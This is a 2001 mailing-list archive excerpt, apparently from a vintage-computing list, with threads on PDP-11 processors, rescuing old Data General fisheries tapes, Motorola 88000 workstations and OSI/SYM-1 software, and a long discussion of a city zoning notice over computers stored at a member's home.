In-Reply-To: "ajp166" "Re: PDP-11/53+ Jumpers" (Jun 7, 22:58) References: <00d501c0efc7$02f4ec70$37799a8d@ajp166> Message-ID: <10106080811.ZM11171@indy.dunnington.u-net.com> On Jun 7, 22:58, ajp166 wrote: > From: Pete Turnbull > >like that. But a box labeled 11/53 and having an 11/23 procssor in it > is > > an 11/23, not an 11/53. It won't run RSX-11M or Ultrix configured for > an > >11/53, or various things. > > > An 11/23 would run RSX-11 just not the I&D kernal, same for Ultrix > depending on version. Of course, but what I wrote was that a kernel configured for amn 11/53 wouldn't run on an 11/23. It would have to be re-SYSGENed. > >I'm surprised you say it's common. I can see that in a few cases the > >processor might be removed to use elsewhere > It was happening when the processors were NEW. Seems it made a very > compact fairly fast system if the DEC box was not used. However early on > getting the bare CPU was difficult so people bout 11/53s, snatched the > cpu > and resold them with commonly available 11/23s (as Micropdp-11s) Oh, I see. I suppose that makes sense. It doesn't seem to have been common over here, though. > >I'm thinking of > >11/03 -> 11/23, 11/23 -> 11/73, 11/73 -> 11/83, microVAX -> microVAX-II > >upgrades). > > Yep, like my 11T03 that has a BA11N and 11/73 cpu I have its exact mate here :-) -- Pete Peter Turnbull Network Manager University of York From raukland at mfmr.gov.na Fri Jun 8 02:28:42 2001 From: raukland at mfmr.gov.na (Richard Aukland) Date: Sun Feb 27 19:04:17 2005 Subject: Data Rescue Needed - DG 30 cartridge tapes Message-ID: Dear All Hello, I am based in Namibia and work for the Southern African Development Community (SADC) through UK based development aid to assist in data Management. I seek your advice in rescuing some data which is important for World Climate studies and Namibia's economy. I will try to keep this concise- the details are all through 2nd/3rd hand contact and sketchy: In 1990 Namibia gained independance from South Africa. A group of inexperienced Namibians inherited 8 cartridge tapes, allegedly for a DG30 which have subsequently been lost (many have tried to find them, they are gone). A copy of the tapes exists in South Africa. There are 8 tapes and no machines to run them on either in SA or here. Attempts have been made to read them by fisheries scientists in France which failed (I do not know the details). As far as I can ascertain a DG30 is a Data General Desktop model DG 014-000767-01 (???) I know nothing about these machines and would appreciate some links. The tapes were written in 1988. They contain data in a 'datasensitive file' (whatever that means) with 80 characters per record and fixed record length files. Why are they impt? They contain data from fisheries activities in the environmentally chaotic Benguela current region for between 1950-1987 for impt pelagic fish species (sardine). Getting this data into a more usable format will enable; 1. A better understanding of fish-environmental interactions in the face of global climate change and human impacts. 2. Provide an increased time series for fisheries modelling, thereby assisting in developing Namibias economy (of which Fisheries is the 2nd most impt). The sardine stock is currently at an all time low and employment has suffered. 3. could potentially improve protein supply to central africa. If anyone knows how this v.impt data could be rescued I would be grateful. Please contact me below. Richard ---------------------------------------------------------------- Richard Aukland BENEFIT Office, c/o NatMIRC, P.O. Box 912, Swakopmund, Namibia Tel: +264 (0)64 4101163 (NOTE NEW NUMBER) Fax: +264 (0)64 405913 WWW: http://www.benefit.org.na Email: raukland@mfmr.gov.na From JRichardson at softwright.co.uk Fri Jun 8 03:40:43 2001 From: JRichardson at softwright.co.uk (Julian Richardson) Date: Sun Feb 27 19:04:17 2005 Subject: Motorola 88000 Message-ID: <07E0E649A9C3D411A80A0020350804BD361473@exch002.softwright.co.uk> Hi, > Not that I want to provide the canonical list of 88k machines, but I'm > guessing DG sold the most 88000 machines. I personally used a Tektronics > XD88, which was a beast performer at the time. I've got an XD88 (running now, thanks to list help!) - they really do fly for the age of the things. I can't remember how many 88100 chips it has - just the two I think. Not sure of the core speed either. My system's the '10 with the 8-bit framebuffer; wouldn't mind the '30 with the 24-bit unit (from the scare info I've heard this was a significantly different machine with a proper expansion bus etc.) I don't know why these things failed - I know they were hidiously expensive when new though ($15000 for an '88/10 in the late 80's) so maybe there just was no market for them... bet there aren't many left these days! cheers Jules From Demon02554 at aol.com Fri Jun 8 05:03:42 2001 From: Demon02554 at aol.com (Demon02554@aol.com) Date: Sun Feb 27 19:04:17 2005 Subject: OT stories about phone phreaking Message-ID: <31.15fa70ef.2851fcfe@aol.com> umm...go for some of the boxes not only is it easier...you'd be surprised how much electronics knowledge you can pick up just by screwin with that stuff From John.Honniball at uwe.ac.uk Fri Jun 8 05:14:28 2001 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 19:04:17 2005 Subject: OSI BASIC In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A29A@BUSH02> Message-ID: On Fri, 8 Jun 2001 04:02:09 +0100 "Davison, Lee" wrote: > A while ago Bill Sudbrink wrote .. > I just acquired Microsoft 8K basic in ROM for OSI on paper tape. I currently > have no facility to read it, so I don't know if it is source or object. ... > ... Was it ever read? If so is it available? I'd also be interested in the contents of this tape! I have a UK101, the British copy of the OSI. I've dumped the ROM contents and disassembled them, but it would be very interesting to see how the OSI ROM differed (if at all) from the UK101 ROM. The UK101 page: http://www.gifford.co.uk/~coredump/uk101.htm -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From mikeford at socal.rr.com Fri Jun 8 06:00:12 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <10106080811.ZM11171@indy.dunnington.u-net.com> References: "ajp166" "Re: PDP-11/53+ Jumpers" (Jun 7, 22:58) <00d501c0efc7$02f4ec70$37799a8d@ajp166> Message-ID: I am so steamed right now, buried in my junk mail I just found a letter from the city of Orange where I live. (peoples republic of California) Notice of violation and order to comply * Storage of computer and parts in the residential area Apparently some neighbor had a inspector come over and peek in my windows last week, and sure enough I do have a few computers stacked around right now. The gist of the complaint is that while I comply with all the noise, parking, etc. they want me to have a "Home Occupation Business License" and restrict my storage to 500 cubic feet in an enclosed garage. Now I guess I have to agree the home is occupied with computers, but my first reaction is that it is strictly a hobby, no business activity goes on at all. Before I say anything though I am going to go and read Orange Municipal Code 17.14.050(H) in the morning. I love the arrogance of these people too, giving me 14 days to comply. My guess is that at best this will be a big PITA, since it kind of hamstrings me, if I sell off a bunch of stuff, then I am a business, but if I don't then I may be looking at endless harassment. From dhquebbeman at theestopinalgroup.com Fri Jun 8 06:31:14 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:17 2005 Subject: Motorola 88000 Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510DA@jeffserver.tegjeff.com> > On Thu, 7 Jun 2001, Douglas Quebbeman wrote: > > > The Apollo Domain DN10000 used up to (was it 8?) 88k cpu's... it > > was modular in some way, so that a system could be expanded. > > No. > > The DN10000 accepted one to four Apollo PRISM CPUs. They were > not Motorola 88000-series CPUs. If it wasn't the DN10000, which model was it? I just got done downloading many megabytes worth of patches for 68k-based systems *and* for 88k-based systems from HP's web site. Regards, -dq From rhblake at bigfoot.com Fri Jun 8 06:39:50 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: Why would it be a biz if you sell some of it off if you don't make a profit? That would be like saying that someone that sells things at a yard sale once a year is running a biz (although some people are permanent yard sale sellers around here). I could see it if you had a few Univac racks in your back yard in public view. Also push it that they are not stored there but actively in use in your house. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike Ford > Sent: Friday, June 08, 2001 6:00 AM > To: classiccmp@classiccmp.org > Subject: Storage of computer and parts in the residential area > > > I am so steamed right now, buried in my junk mail I just found a letter > from the city of Orange where I live. (peoples republic of California) > > Notice of violation and order to comply > * Storage of computer and parts in the residential area > > Apparently some neighbor had a inspector come over and peek in my windows > last week, and sure enough I do have a few computers stacked around right > now. The gist of the complaint is that while I comply with all the noise, > parking, etc. they want me to have a "Home Occupation Business > License" and > restrict my storage to 500 cubic feet in an enclosed garage. > > Now I guess I have to agree the home is occupied with computers, but my > first reaction is that it is strictly a hobby, no business > activity goes on > at all. Before I say anything though I am going to go and read Orange > Municipal Code 17.14.050(H) in the morning. > > I love the arrogance of these people too, giving me 14 days to comply. My > guess is that at best this will be a big PITA, since it kind of hamstrings > me, if I sell off a bunch of stuff, then I am a business, but if I don't > then I may be looking at endless harassment. > > From rhblake at bigfoot.com Fri Jun 8 06:36:25 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: Exactly why I live in a small town without zoning or business/residence restrictions nor any "subdivisional" rules since my house sets on 1 acre and was built in 1952. I run a business from the house too and even have a sign out front. California is such a pretty and diverse state too but all the idiot laws and the small percent of idiot people make it very undesireable. I was offered a job out of the AF at the Palmdale Northrup plant and declined, mainly due to it being in California. You can't break wind without someone wanting to stick an emissions probe up there. Hope it works out for you Mike. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike Ford > Sent: Friday, June 08, 2001 6:00 AM > To: classiccmp@classiccmp.org > Subject: Storage of computer and parts in the residential area > > > I am so steamed right now, buried in my junk mail I just found a letter > from the city of Orange where I live. (peoples republic of California) > > Notice of violation and order to comply > * Storage of computer and parts in the residential area > > Apparently some neighbor had a inspector come over and peek in my windows > last week, and sure enough I do have a few computers stacked around right > now. The gist of the complaint is that while I comply with all the noise, > parking, etc. they want me to have a "Home Occupation Business > License" and > restrict my storage to 500 cubic feet in an enclosed garage. > > Now I guess I have to agree the home is occupied with computers, but my > first reaction is that it is strictly a hobby, no business > activity goes on > at all. Before I say anything though I am going to go and read Orange > Municipal Code 17.14.050(H) in the morning. > > I love the arrogance of these people too, giving me 14 days to comply. My > guess is that at best this will be a big PITA, since it kind of hamstrings > me, if I sell off a bunch of stuff, then I am a business, but if I don't > then I may be looking at endless harassment. > > From jhellige at earthlink.net Fri Jun 8 07:21:34 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area Message-ID: <01Jun8.082145edt.119091@gateway.mediacen.navy.mil> Geez...just when you think you've heard it all. This is taking those neighborhood zoning restrictions a bit too far. Obviously, the neighbor has too much time on their hands. Good luck getting it worked out Mike. Jeff >I am so steamed right now, buried in my junk mail I just found a letter >from the city of Orange where I live. (peoples republic of California) > >Notice of violation and order to comply >* Storage of computer and parts in the residential area > >Apparently some neighbor had a inspector come over and peek in my windows >last week, and sure enough I do have a few computers stacked around right >now. The gist of the complaint is that while I comply with all the noise, >parking, etc. they want me to have a "Home Occupation Business License" and >restrict my storage to 500 cubic feet in an enclosed garage. > >Now I guess I have to agree the home is occupied with computers, but my >first reaction is that it is strictly a hobby, no business activity goes on >at all. Before I say anything though I am going to go and read Orange >Municipal Code 17.14.050(H) in the morning. > >I love the arrogance of these people too, giving me 14 days to comply. My >guess is that at best this will be a big PITA, since it kind of hamstrings >me, if I sell off a bunch of stuff, then I am a business, but if I don't >then I may be looking at endless harassment. From rhblake at bigfoot.com Fri Jun 8 07:37:57 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <01Jun8.082145edt.119091@gateway.mediacen.navy.mil> Message-ID: You know they can't prove he ever got the letter unless it was served or sent (and signed for) by certified or registered mail. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Jeff Hellige > Sent: Friday, June 08, 2001 7:22 AM > To: classiccmp@classiccmp.org > Subject: Re: Storage of computer and parts in the residential area > > > Geez...just when you think you've heard it all. This is taking those > neighborhood zoning restrictions a bit too far. Obviously, the > neighbor has > too much time on their hands. Good luck getting it worked out Mike. > > Jeff > > >I am so steamed right now, buried in my junk mail I just found a letter > >from the city of Orange where I live. (peoples republic of California) > > > >Notice of violation and order to comply > >* Storage of computer and parts in the residential area > > > >Apparently some neighbor had a inspector come over and peek in my windows > >last week, and sure enough I do have a few computers stacked around right > >now. The gist of the complaint is that while I comply with all the noise, > >parking, etc. they want me to have a "Home Occupation Business > License" and > >restrict my storage to 500 cubic feet in an enclosed garage. > > > >Now I guess I have to agree the home is occupied with computers, but my > >first reaction is that it is strictly a hobby, no business > activity goes on > >at all. Before I say anything though I am going to go and read Orange > >Municipal Code 17.14.050(H) in the morning. > > > >I love the arrogance of these people too, giving me 14 days to comply. My > >guess is that at best this will be a big PITA, since it kind of > hamstrings > >me, if I sell off a bunch of stuff, then I am a business, but if I don't > >then I may be looking at endless harassment. From lists at aussie.nu Fri Jun 8 08:04:36 2001 From: lists at aussie.nu (Lists) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <01Jun8.082145edt.119091@gateway.mediacen.navy.mil> Message-ID: > Geez...just when you think you've heard it all. This is taking those > neighborhood zoning restrictions a bit too far. Obviously, the > neighbor has too much time on their hands. Sounds like the neighbor has been invading his privacy by snooping around himself... Gotta love people like that, with nothing better to do than cause grief. From RCini at congressfinancial.com Fri Jun 8 08:00:01 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:17 2005 Subject: SYM1 Page Message-ID: <497A9E0467D2D2119B760090271EB8E58799E1@MAIL10> Lee: Regarding the SYM-Physis issues, he's sent me issues 1-8 already. Apparently Massimo is a scanning maniac. I plan on posting them anyway. It's nice to have multiple sources available for this information. Rich -----Original Message----- From: Davison, Lee [mailto:Lee.Davison@merlincommunications.com] Sent: Thursday, June 07, 2001 10:19 PM To: 'classiccmp@classiccmp.org' Subject: RE: SYM1 Page Richard, > the SYM1. So much so, that I may put up a "SYM1 page" > on Highgate. He's now working on scanning the SYM Physis, > a newsletter for SYM users (1979-1982). Issues 1 to 10 are allready available on www.6502.org Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). 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From gessler at ucla.edu Fri Jun 8 09:14:20 2001 From: gessler at ucla.edu (Nick Gessler) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: References: <10106080811.ZM11171@indy.dunnington.u-net.com> <00d501c0efc7$02f4ec70$37799a8d@ajp166> Message-ID: <5.0.2.1.0.20010608070619.01fdea10@pop.bol.ucla.edu> Mike, I'd be interested to see what Orange Municipal Code 17.14.050(H) says. Somehow, I suspect that they're wanting you to admit you are carrying on a business so that they can then tell you what you can and cannot do. My first reaction is that you don't want to go that route, but rather that you want to call it your hobby and exercise your freedom to spend your leisure as you wish. Do they persecute ham radio operators, satellite dish owners, book lovers, and plant aficionados too? I have a friend who lives in Irvine. She's not even allowed to park her car on the street or in front of her garage. It has to be enclosed. However, she chose that lifestyle, but it seems excessively neat and tidy to me. I've got loads of stuff in the City of LA adjacent to Culver City. No one has bothered me yet, except my ex-, but that was years ago. Good luck, and keep us informed. Best, Nick From vance at ikickass.org Fri Jun 8 09:12:10 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: There's a way to fix THAT particular problem... attack dogs. Peace... Sridhar On Fri, 8 Jun 2001, Lists wrote: > > > Geez...just when you think you've heard it all. This is taking those > > neighborhood zoning restrictions a bit too far. Obviously, the > > neighbor has too much time on their hands. > > Sounds like the neighbor has been invading his privacy by snooping around > himself... Gotta love people like that, with nothing better to do than > cause grief. > From bills at adrenaline.com Fri Jun 8 09:25:29 2001 From: bills at adrenaline.com (Bill Sudbrink) Date: Sun Feb 27 19:04:17 2005 Subject: OSI schematics needed Message-ID: I've just encountered a new (well, to me anyway) revision of the SuperBoard II (OSI model 600): revision D, copyright 1980 I'm only familiar with REV B and this puppy has some significant differences. All of these guys had schematics with them when sold. If you have a C1P or SuperBoard II, could you check the revision and see if you have matching schematics. I'll pay for a copy of REV D or any revision other than B for that matter. Thanks, Bill Sudbrink From jss at ou.edu Fri Jun 8 09:21:25 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: References: ajp166 "Re: PDP-11/53+ Jumpers" <00d501c0efc7$02f4ec70$37799a8d@ajp166> Message-ID: <992010085.3b20df654fc64@email.ou.edu> Well, if you need to give away anything, I'm your man! ... Just kidding. Mostly. :-) Quoting Mike Ford : > Notice of violation and order to comply > * Storage of computer and parts in the residential area First off, I've got to give a big ol' WTF to this. If there is a city ordinance that restricts you from having computer equipment in your home, then it's time that ordinance got smacked down: (0) Is it entirely constitutional to limit the kind of things one can put in their home, assuming the things don't violate some other law restraining the general posession of the things (like gun-control or substance laws)? I'm guessing not... (1) When Joe Suburban goes to an electronics store to pick up a PC for his home and then subsequently stores the PC in his home, is he also violating this law? If not, how can Mike be considered to be violating it? (2) The reasoning may be that 'big' computers are reserved only for businesses, and have no place in the home. If that's what they are trying to pull on you, then I'm sure ClassicCmp will help you prove otherwise by providing examples of many people who use 'big' computers non-commercially in their homes. (3) They may just assume you are running a business, and your only violation would be having a business in a residential zone. That should be easy to disprove. What exactly is the statute that you have 'violated'? Have you the resources to go to court if need be? Also, at this point, I would start looking for ways to legally make your neighbor's life hell... -- Jeffrey S. Sharp jss@ou.edu From jim at calico.litterbox.com Fri Jun 8 09:25:16 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: from "Mike Ford" at Jun 08, 2001 04:00:12 AM Message-ID: <200106081425.IAA29748@calico.litterbox.com> Couldn't you sue them for looking in your windows and trespassing on your property without a warrent? > > I am so steamed right now, buried in my junk mail I just found a letter > from the city of Orange where I live. (peoples republic of California) > > Notice of violation and order to comply > * Storage of computer and parts in the residential area > > Apparently some neighbor had a inspector come over and peek in my windows > last week, and sure enough I do have a few computers stacked around right > now. The gist of the complaint is that while I comply with all the noise, > parking, etc. they want me to have a "Home Occupation Business License" and > restrict my storage to 500 cubic feet in an enclosed garage. > > Now I guess I have to agree the home is occupied with computers, but my > first reaction is that it is strictly a hobby, no business activity goes on > at all. Before I say anything though I am going to go and read Orange > Municipal Code 17.14.050(H) in the morning. > > I love the arrogance of these people too, giving me 14 days to comply. My > guess is that at best this will be a big PITA, since it kind of hamstrings > me, if I sell off a bunch of stuff, then I am a business, but if I don't > then I may be looking at endless harassment. > > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From chomko at greenbelt.com Fri Jun 8 09:21:33 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:17 2005 Subject: Motorola 88000 References: <07E0E649A9C3D411A80A0020350804BD361473@exch002.softwright.co.uk> Message-ID: <3B20DF6D.F121B25C@greenbelt.com> Julian Richardson wrote: > Hi, > > > Not that I want to provide the canonical list of 88k machines, but > I'm > > guessing DG sold the most 88000 machines. I personally used a > Tektronics > > XD88, which was a beast performer at the time. > > I've got an XD88 (running now, thanks to list help!) - they really do fly > for the age of the things. I can't remember how many 88100 chips it has - > just the two I think. Actually there are 3 chips. (I recently picked up the set on eBay). > Not sure of the core speed either. My system's the '10 I believe the speed is 25 MHz, but should check to make sure. > > with the 8-bit framebuffer; wouldn't mind the '30 with the 24-bit unit (from > the scare info I've heard this was a significantly different machine with a > proper expansion bus etc.) > > I don't know why these things failed - I know they were hidiously expensive > when new though ($15000 for an '88/10 in the late 80's) so maybe there just > was no market for them... bet there aren't many left these days! > They were not PCs and were not really workstations. It was hard to place them and as you mentioned theye were NOT cheap. Encore Computer had a system based upon them as I recall, from around a decade or so ago. Eric > > cheers > > Jules From rhblake at bigfoot.com Fri Jun 8 09:29:32 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: and then end up with yet another, when the dogs are deemed a nuisance and public threat by the same do-gooder neighbors and government. Moving sounds like a better future venture - like somewhere at the base of Mt Shasta with the whackos waiting for the arrival of the aliens. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Vance Dereksen > Sent: Friday, June 08, 2001 9:12 AM > To: classiccmp@classiccmp.org > Subject: Re: Storage of computer and parts in the residential area > > > > There's a way to fix THAT particular problem... attack dogs. > From Robert_Feldman at jdedwards.com Fri Jun 8 09:28:39 2001 From: Robert_Feldman at jdedwards.com (Feldman, Robert) Date: Sun Feb 27 19:04:17 2005 Subject: Will trade classic H/W for CP/M 2.2 help! Message-ID: You can buy a "new" licensed copy of CP/M (the original DR version) from California Digital for only $9 at http://www.cadigital.com/software.htm. It won't be set up for your particular computer, though, but does have the DR manuals. -----Original Message----- From: Stan Sieler [mailto:sieler@allegro.com] Sent: Thursday, June 07, 2001 5:38 PM To: classiccmp@classiccmp.org Subject: Re: Will trade classic H/W for CP/M 2.2 help! Hi, > To any CP/M 2.2 users with 8-inch SSSD floppy disks... > If any list member can help, I'm willing to trade classic hardware such > as an HP That's a nice offer, and if my back were better, I'd try to talk you out of those machines. However, I suspect that on this list you could simply say "can anyone send me CP/M 2.2 ..." and you'd get some volunteers. I'd send it if I had any of my 8" systems working yet! :) Good luck, Stan Sieler Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From allain at panix.com Fri Jun 8 09:43:21 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area References: "ajp166" "Re: PDP-11/53+Jumpers" (Jun 7, 22:58) <00d501c0efc7$02f4ec70$37799a8d@ajp166> Message-ID: <003d01c0f029$5d8cae40$8a0101ac@ibm23xhr06> Mike Ford said: > I love the arrogance of these people too, > giving me 14 days to comply. It could be worse, you could've recieved the notice postmarked 7 days after the date of notice, cutting your time in half. I just had to deal with some people like that (on different topic).... I never heard of such a thing, about personal storage, until now. At least the 500 cu-ft figure sounds liveable (it is hoped). Keep us posted. John A. From edick at idcomm.com Fri Jun 8 09:53:17 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area References: Message-ID: <003001c0f02a$c112c7a0$9cc762d8@idcomm.com> I'd suspect that this is due to observability of "big iron" from some vantage point off the property. We've had annoying visits from city folks from time to time, apparently resulting from what one neighbor or another can see from his porch. My neighbor had a problem with his boat, which he parked in his front yard where it's shaded from the sun, and which I certainly like with parking it on the street. Someone didn't like that, however, and complained to the authrorities. The result was that a notice was sent by the city, citing a confusingly worded statute of which they included a relevant portion. It turns out, however, that, though, on first reading, the statute suggests that it's illegal to have anything at all anywhere on your property, what compliance with the statute really requres is a substantial concrete or other "firmament" on which to park the wheels of the trailer, which was easily solved by putting three 1' x 2' paving blocks under the wheels. I'd guess that there's a simple solution of that sort, if you allow cooler heads (your own, after it cools off) to prevail. Dick ----- Original Message ----- From: "Russ Blakeman" To: Sent: Friday, June 08, 2001 8:29 AM Subject: RE: Storage of computer and parts in the residential area > and then end up with yet another, when the dogs are deemed a nuisance and > public threat by the same do-gooder neighbors and government. Moving sounds > like a better future venture - like somewhere at the base of Mt Shasta with > the whackos waiting for the arrival of the aliens. > > > -----Original Message----- > > From: owner-classiccmp@classiccmp.org > > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Vance Dereksen > > Sent: Friday, June 08, 2001 9:12 AM > > To: classiccmp@classiccmp.org > > Subject: Re: Storage of computer and parts in the residential area > > > > > > > > There's a way to fix THAT particular problem... attack dogs. > > > > From fernande at internet1.net Fri Jun 8 09:57:22 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area References: "ajp166" "Re: PDP-11/53+ Jumpers" (Jun 7, 22:58) <00d501c0efc7$02f4ec70$37799a8d@ajp166> Message-ID: <3B20E7D2.5E61E046@internet1.net> You've got to be kidding! I'm glad I don't have any nosey inspector around here, they'd think I was running a computer repair shop, as I have parts scattered everywhere..... which I really need to pick up, finish stuff, cause I'm embarrassed to have anybody over :-( Its your business, not theirs, but don't tell them that..... They'll say, "AHA, so you do have a business"! Chad Fernandez Michigan, USA Mike Ford wrote: > > I am so steamed right now, buried in my junk mail I just found a letter > from the city of Orange where I live. (peoples republic of California) > > Notice of violation and order to comply > * Storage of computer and parts in the residential area > > Apparently some neighbor had a inspector come over and peek in my windows > last week, and sure enough I do have a few computers stacked around right > now. The gist of the complaint is that while I comply with all the noise, > parking, etc. they want me to have a "Home Occupation Business License" and > restrict my storage to 500 cubic feet in an enclosed garage. > > Now I guess I have to agree the home is occupied with computers, but my > first reaction is that it is strictly a hobby, no business activity goes on > at all. Before I say anything though I am going to go and read Orange > Municipal Code 17.14.050(H) in the morning. > > I love the arrogance of these people too, giving me 14 days to comply. My > guess is that at best this will be a big PITA, since it kind of hamstrings > me, if I sell off a bunch of stuff, then I am a business, but if I don't > then I may be looking at endless harassment. From lance at costanzo.net Fri Jun 8 10:05:26 2001 From: lance at costanzo.net (Lance Costanzo) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area Message-ID: <3.0.32.20010608080526.02075c78@costanzo.net> At 07:14 AM 6/8/01 -0700, you wrote: >Mike, > >I'd be interested to see what Orange Municipal Code 17.14.050(H) says. H. Home Occupations. A home occupation is one carried on in a dwelling as a secondary use, where there are no displays or signs at or upon the premises, no other commodity or services are sold upon the premises and no storage of materials and/or supplies upon those premises except within the dwelling or an enclosed garage. Where storage will take place within an enclosed garage, such storage shall be conducted in such a manner so as not to interfere with the parking of vehicles therein. Any materials and/or supplies which are stored upon the premises shall not occupy a space in excess of 500 cubic feet. Such an occupation shall not: 1. Create light, noise, odor, dust, vibration, fumes or smoke readily discernible at the exterior boundaries of the parcel. 2. Involve the use of mechanical equipment or storage of material and/or supplies on trucks in amounts not recognized as part of reasonable household use. 3. Involve the use of services at the premises of non-occupants of the dwelling in any manner; provided, however, that deliveries made by bona fide delivery firms shall be permitted, as long as such deliveries are in amounts or performed in a manner recognized as part of a reasonable household use. 4. Have the premises or adjacent public right-of-way serve as an assembly point for non-occupants, including serving as a location from which such non-occupants are dispatched to off-site locations. 5. Significantly increase the off-street parking load. 6. Involve the storage or use of flammable substances as defined by the Uniform Fire Code, Section 15.101 et. seq., or hazardous chemicals as defined by the Uniform Fire Code, Section 19.101, et. seq. 7. Involve the sale of firearms or ammunition except to those set forth in California Penal Code Section 12078. Records shall be kept for a minimum of one year on the sales of firearms. Information on these records shall include: a. Date of purchase. b. Name, address, phone number, driver's license number and date of birth of the person buying any firearms. c. Brand name, model number and serial number of firearm purchased. 8. Involve the sale, preparation, or storage of food or food products. (Ords. 12-95; 3-93; 4-87; 17-84; 15-80; 12-80; 35-79; 43-69; 15-69: Prior Codes 17.10.030, 17.26.010 and 17.04.290) look it up: http://www.ordlink.com/codes/orange/index.htm >Somehow, I suspect that they're wanting you to admit you are carrying on a >business so that they can then tell you what you can and cannot do. and they're looking for revenue. I would make sure all your goodies are clean and reasonably organized, put as much stuff as possible into one 'work area', take some pics, go down to city hall with the letter and ask to speak to a city planner. When I applied for a home business permit, I talked to a planner so I'd guess that Orange would have a similar structure. Explain to them its a hobby and not a business, its not a nusaince activity (except for the trespassing that's occured by your neighbor), and ask them what you should do. >From my experience, building and planning guys are pretty reasonable. >My first reaction is that you don't want to go that route, but rather that >you want to call it your hobby and exercise your freedom to spend your >leisure as you wish. >Do they persecute ham radio operators, satellite dish owners, book lovers, >and plant aficionados too? > >I have a friend who lives in Irvine. She's not even allowed to park her >car on the street or in front of her garage. It has to be >enclosed. However, she chose that lifestyle, but it seems excessively neat >and tidy to me. > >I've got loads of stuff in the City of LA adjacent to Culver City. No one >has bothered me yet, except my ex-, but that was years ago. > >Good luck, and keep us informed. > >Best, >Nick > > > From spectre at stockholm.ptloma.edu Fri Jun 8 10:10:03 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: from Mike Ford at "Jun 8, 1 04:00:12 am" Message-ID: <200106081510.IAA10826@stockholm.ptloma.edu> > I am so steamed right now, buried in my junk mail I just found a letter > from the city of Orange where I live. (peoples republic of California) > > Notice of violation and order to comply > * Storage of computer and parts in the residential area (looks at walk-in closet and dining room closet) Hmm, I wonder if Colton has a similar asinine ordinance. Give 'em what for. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- "I'd love to go out with you, but I have to floss my parakeet." ------------ From rhblake at bigfoot.com Fri Jun 8 10:07:05 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <003d01c0f029$5d8cae40$8a0101ac@ibm23xhr06> Message-ID: 500 cu-ft includes LxWxD, not sq-ft as you might think. An 8 ft ceiling counts in that 500 so instead of a 10x50 room you're looking at less than a 10x10 room with 8 ft ceiling (that would yield 800 cu-ft) - an 8x8 room with 8 ft ceiling is even over that. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of John Allain > Sent: Friday, June 08, 2001 9:43 AM > To: classiccmp@classiccmp.org > Subject: Re: Storage of computer and parts in the residential area > > > Mike Ford said: > > I love the arrogance of these people too, > > giving me 14 days to comply. > > It could be worse, you could've recieved the notice postmarked > 7 days after the date of notice, cutting your time in half. I just had > to deal with some people like that (on different topic).... I never > heard of such a thing, about personal storage, until now. At least > the 500 cu-ft figure sounds liveable (it is hoped). Keep us posted. > > John A. > From tony.eros at machm.org Fri Jun 8 10:17:17 2001 From: tony.eros at machm.org (Tony Eros) Date: Sun Feb 27 19:04:17 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: 